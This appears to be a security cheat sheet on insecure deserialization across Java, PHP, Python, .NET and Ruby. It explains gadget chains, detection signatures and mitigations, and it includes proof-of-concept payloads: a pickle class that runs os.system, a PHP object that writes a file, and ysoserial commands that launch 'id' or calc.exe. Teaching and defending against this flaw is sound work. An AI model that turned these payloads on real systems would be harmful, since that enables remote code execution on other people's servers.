Insecure deserialization occurs when untrusted data is deserialized into objects, allowing attackers to abuse object lifecycle methods and existing code paths (gadgets) to trigger unintended behavior such as RCE.
Attackers inject object graphs, not code.
- Serialization: Object → bytes/string
- Deserialization: Bytes/string → object
- Gadget: Existing class/method with a useful side effect
- Gadget Chain: Sequence of gadgets automatically triggered
- Sink: Dangerous operation (exec, eval, file write)
Deserialization can implicitly invoke:
- Constructors
- Magic methods
- Lifecycle callbacks
- Reflection-based invocation
ObjectInputStream ois = new ObjectInputStream(input);
ois.readObject();readObject()readResolve()finalize()
readObject()
→ HashMap.readObject()
→ Transformer.transform()
→ Runtime.getRuntime().exec("id")
ysoserial CommonsCollections1 "id"💥 Remote Code Execution
unserialize($_COOKIE['session']);__wakeup__destruct__toString
class Logger {
public $file;
function __destruct() {
file_put_contents($this->file, "pwned");
}
}O:6:"Logger":1:{s:4:"file";s:12:"/tmp/pwned";}
📂 Arbitrary file write / RCE
pickle.loads(user_input)__reduce__
import os, pickle
class Evil:
def __reduce__(self):
return (os.system, ("id",))
pickle.dumps(Evil())💥 Remote Code Execution
BinaryFormatterLosFormatterNetDataContractSerializer
BinaryFormatter bf = new BinaryFormatter();
bf.Deserialize(stream);ISerializableIDeserializationCallback[OnDeserialized]
Deserialize()
→ ObjectDataProvider.OnDeserialized()
→ Process.Start("calc.exe")
ysoserial.net -f BinaryFormatter -g ObjectDataProvider -c calc.exe__VIEWSTATE → LosFormatter → Gadget Chain → RCE
Marshal.load(user_input)_loadmarshal_loadinitialize
class Evil
def self._load(data)
system("id")
end
end
Marshal.dump(Evil)Cookie → Marshal.load → Gadget Chain → RCE
- Java:
AC ED 00 05 - PHP:
O:a: - Python: Pickle binary blobs
- .NET:
AAEAAAD - Ruby:
\x04\x08
- Cookies
- ViewState
- Hidden form fields
- API parameters
- Headers
❌ Never deserialize untrusted data using native serializers
✅ Use JSON with strict schemas
✅ Implement class allow-lists
✅ Sign and encrypt session data
✅ Remove dangerous libraries
Insecure deserialization abuses object lifecycles and existing code paths (gadgets) to reach dangerous sinks without injecting code.
- OWASP Top 10
- CWE-502
- ysoserial / ysoserial.net